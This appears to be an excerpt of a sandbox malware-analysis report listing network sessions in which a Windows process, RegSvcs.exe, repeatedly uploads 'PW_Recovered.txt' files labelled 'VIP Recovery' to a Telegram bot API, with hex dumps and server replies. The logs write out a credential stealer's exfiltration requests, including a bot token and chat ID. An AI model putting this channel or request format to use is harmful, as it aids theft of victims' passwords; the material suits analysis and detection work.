Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:55 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9d920235f7a Host: api.telegram.org Content-Length: 560
2024-09-19 10:21:55 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 64 39 32 30 32 33 35 66 37 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcd9d920235f7aContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:21:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:55 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:55 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12746,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	61526	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:58 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9daf8508ec0 Host: api.telegram.org Content-Length: 560
2024-09-19 10:21:58 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 64 61 66 38 35 30 38 65 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcd9daf8508ec0Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:21:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:58 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:58 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12747,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	61528	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:21:59 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9f34a734345 Host: api.telegram.org Content-Length: 560
2024-09-19 10:21:59 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 66 33 34 61 37 33 34 33 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcd9f34a734345Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:21:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:21:59 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:21:59 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12748,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	61530	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:02 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd9f129bc3f60 Host: api.telegram.org Content-Length: 560
2024-09-19 10:22:02 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 39 66 31 32 39 62 63 33 66 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcd9f129bc3f60Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:02 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:02 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:02 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12749,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	61532	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:03 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda0e47642328 Host: api.telegram.org Content-Length: 560
2024-09-19 10:22:03 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 30 65 34 37 36 34 32 33 32 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcda0e47642328Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:03 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:03 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12750,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	61534	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:07 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda09bce7e3ee Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:22:07 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 30 39 62 63 65 37 65 33 65 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcda09bce7e3eeContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:22:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:07 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:07 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12751,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	61535	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:08 UTC	345	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda2a11e28f03 Host: api.telegram.org Content-Length: 560
2024-09-19 10:22:08 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 64 61 32 61 31 31 65 32 38 66 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcda2a11e28f03Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:22:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:22:09 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:22:09 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12752,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	61538	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:22:12 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcda2b6f5946f9 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
